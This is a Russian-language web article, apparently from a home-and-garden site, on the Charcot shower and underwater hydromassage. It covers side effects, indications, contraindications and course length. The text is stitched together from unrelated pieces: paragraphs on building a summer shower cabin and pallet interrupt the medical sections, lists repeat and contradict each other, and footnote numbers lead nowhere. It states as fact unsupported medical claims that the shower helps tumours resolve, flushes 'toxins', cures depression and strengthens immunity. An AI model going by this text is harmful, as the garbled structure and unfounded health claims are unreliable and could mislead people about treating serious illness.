У каждой лечебной процедуры существуют побочные явления. Врач обязан предупредить пациента о нюансах гидромассажа.

Появление гематом и кровоподтеков

Гиперемия кожных покровов появляется из-за лопающихся под напором струи капилляров. Тело в начале процедуры не адаптировано. Кожный покров тонкий и нежный. Кровоподтеки чаще появляются у пациентов с тонкой кожей и просвечивающейся капиллярной сеткой.

Синяки сходят после 5 процедуры.

Мышечные боли

У пациентов с больными суставами часто появляются жалобы на боли в мышцах. После 4-5 процедуры неприятные ощущения меняются на чувство легкости и комфорта.

Поддон

На полу летней душевой кабинки традиционно устанавливается деревянный поддон в виде сборного щита, в котором доски располагаются с небольшими промежутками. Такие щели необходимы, чтобы вода легко стекала вниз.

Поддон располагают на высоте 15–20 см от поверхности почвы. Промежуток необходим, чтобы предотвратить контакт древесины с влажной землей и защитить ее от гниения.

Показания

Следует отметить, что принятие описанных процедур полезно и приятно всем, но в особенности они помогут в случае наличия следующих проблем со здоровьем:

  • Нарушение функций работы опорно-двигательного аппарата.
  • Вегето-сосудистая дистония.
  • Гипертония первой степени.
  • Ожирение и наличие целлюлита.
  • Отсутствие упругости кожи и мышечных тканей.
  • Расстройства нервной системы.

Показания к душу шарко

  • лишний вес;
  • целлюлит;
  • застой крови и лимфы;
  • частые простудные заболевания;
  • остеохондроз;
  • заболевания суставов и позвоночника — артрит, артроз, подагра, защемления;
  • невротические и депрессивные состояния;
  • часты головные боли, апатия, усталость;
  • мышечные зажимы и спазмы;
  • заболевания кожи;
  • вегето-сосудистая дистония;
  • частые аллергические проявления.

Польза душа шарко

О пользе процедуры известно с XIX века. Основатель Ж.М. Шарко — ученый-практик в области неврологии, открыл пользу гидротерапии в лечении психических расстройств. Шарко использовал методику подачи попеременно теплой и холодной водной струи для восстановления центральной нервной системы человека.

Сегодня душ Шарко применяется в разных областях медицины и косметологии.

Избавляет от хронической усталости, стресса и депрессий

В процессе гидромассажа происходят положительные изменения в работе центральной нервной системы. Благодаря запуску кровотока, клетки головного мозга наполняются кислородом. Пациент в течение лечения перестает жаловаться на бессонницу, головные боли, навязчивые состояния, усталость и разбитость. Исчезает переутомление и напряжение мышечного корсета.

При наличии вялотекущей депрессии и хронической вегето-сосудистой дистонии душ Шарко повышает тонус организма, улучшает самочувствие, лечит головные боли, прибавляет бодрости и сил.5

Восстанавливает работу кровотока и лимфоциркуляцию

Правильная работа кровеносной и лимфатической системы необходима для снабжения органов и клеток кислородом. Застой в системах часто приводит к появлению хронический и онкологических заболеваний.

При сидячей работе и малоподвижном образе жизни существует высокий риск развития застоя в обеих системах. Душ Шарко восстановит циркуляцию крови и лимфы. Органы насытятся кислородом и необходимыми питательными веществами. Произойдет детоксикация — чистка систем, при которой организм освободится от скопления шлаков.

При регулярном посещении процедуры у пациентов исчезают жалобы на обострение и проявление симптомов аллергии, кожных дерматитов. Специалисты отмечают положительную динамику в рассасывании новообразований при регулярном использовании душа Шарко.6

Повышает защитные функции организма

Благодаря сменам температур организм закаляется и повышается иммунитет. Клетки организма наполняются полезными элементами и кислородом, способны дать отпор вирусам и инфекциям. После процедуры пациенты отмечают сокращение случаев заболевания ОРВИ, гриппом и сезонными простудами.

Избавляет от боли и воспалений в области опорно-двигательного аппарата

При жалобах пациента на боли в области шеи, лопаток, поясницы, плечевом поясе, диагнозах остеохнодроз, артрит, артороз и травмах, душ Шарко:

  • усилит кровоток — кровь прильет к мышечным тканям, запустится восстановление клеток;
  • укрепит связки;
  • снимет воспаление — при мышечных зажимах защемлениях;
  • активирует работу хрящей и суставов;
  • выведет солевые отложения из суставов;
  • снимет отечность и болезненность;
  • запустит процесс регенерации клеток и тканей — в случае малоподвижности, хронических заболеваний, серьезных травм.

Противопоказания

Также необходимо знать и те случаи, когда использование подводного душа-массажа нежелательно:

  • Острые инфекционные заболевания.
  • Повышенная температура тела.
  • Кожные заболевания.
  • Наличие камней в почках.
  • Ишемическая болезнь второй и третьей степени.

Противопоказания душа шарко

  • камни в мочевом пузыре;
  • онкология;
  • температура 37 и выше;
  • беременность и период лактации — напор воды может навредить плоду;
  • варикоз — душ Шарко предполагает попеременное сужение и расширение сосудов, усиление кровотока в организме. Подобные манипуляции могут навредить состоянию пациента;
  • тромбоз — напор воды в начале процедуры у здоровых пациентов оставляет кровоподтеки. Есть риск разрыва тромба;
  • критические дни, воспаление женских болезней;
  • повышенное артериальное давление;
  • заболевания сердца — инсульт, сердечная недостаточность;
  • кожные заболевания, травмы и раны на коже.

Сколько процедур необходимо сделать

Традиционный курс Шарко составляет около 2-3-х недель ежедневного посещения. В классическом варианте частота посещения душа Шарко — 1 курс за полгода.

Для женщин, занимающихся фитнесом и желающих избавиться от целлюлита и дряблости кожи, достаточно 2-х процедур в неделю.

Время проведения процедуры по системе Шарко — от 1 до 5 минут. Временной промежуток подбирается индивидуально, в зависимости от состояния пациента.

Стационарная душевая

Планирование стационарной кабинки начинают с выбора подходящего места, способа отвода воды и материала изготовления. Чтобы душевая на даче, построенная своими руками, служила много лет, надо подумать и о закладке фундамента. Все эти действия следует выполнять поэтапно и в определенной последовательности.

Устройство

Отверстия сетки такого гидромассажного прибора имеют не цилиндрическую, как в обычной лейке, а конусную форму. Входное сечение каждого канала при этом составляет 5 мм, а выходное – 0,6 мм. Сила образуемого давления такова, что струи движутся строго по прямой, не меняя своей траектории, не менее пяти метров. Душ Алексеева можно смело называть домашним аналогом рассмотренного выше душа Шарко.

Чертежи

Чтобы построить летний душ для дачи своими руками, чертежи не обязательно составлять самостоятельно. Более того, точные расчеты потребуются только при возведении капитальной кирпичной или каменной постройки. В качестве примера предлагается использовать приведенные ниже универсальные схемы для разных типов строения.

При желании в указанные чертежи можно внести свои изменения. Главное – соблюдать основные принципы возведения самой постройки, описанные ниже.

Эксплуатация

  1. Заполняем ванну водой.
  2. Добавляем отвар трав, морскую соль, эфирные масла или другой ингредиент в соответствии с вашими предпочтениями или другими факторами.
  1. Погружаем в воду всасывающий патрубок.
  2. Заходим в ванну и принимаем удобную позу.
  3. Около пяти минут привыкаем к влажной среде, расслабляясь.
  4. Затем включаем прибор, после чего начинается циркуляция жидкости.
  5. Своими руками направляем подающее струю сопло на различные участки тела, массажируя их.

Совет: рекомендуется выполнять процедуру вдвоём, чтобы соплом управлял второй человек, стоящий рядом с ванной.
Это позволит подвергнуть гидромассажу даже те зоны, до которых самостоятельно сложно или даже невозможно добраться, кроме того будет достигнута максимальная релаксация.

  1. В течение процедуры можно менять интенсивность напора и его температуру для достижения лучшего эффекта.

Время принятия такого душа обычно варьируется от пятнадцати минут до одного часа, после чего возможно некоторое покраснение кожного покрова и повышения температуры тела. Весь комплекс состоит из 15-20 процедур. Через полгода можно их можно возобновить.

Дополнительно может использоваться специальная щетка душ-массаж, которая максимально бережно обращается с раздражённой от гидромассажа кожей. (См. также статью Установка душевой кабины: особенности.)

Предварительно немаловажно ознакомиться с показаниями и противопоказаниями к принятию подводного душа-массажа:

Вывод

Гидромассажное оборудование может быть как исключительно медицинским, так и бытовым. В любом случае оно может оказывать потрясающий оздоровительный эффект на ваш организм.

https://www.youtube.com/watch?v=-EasA8wicD0

Видео в этой статье ознакомит вас с дополнительными материалами.Заботьтесь о своём здоровье!

Оцените статью
Дачный мир
Добавить комментарий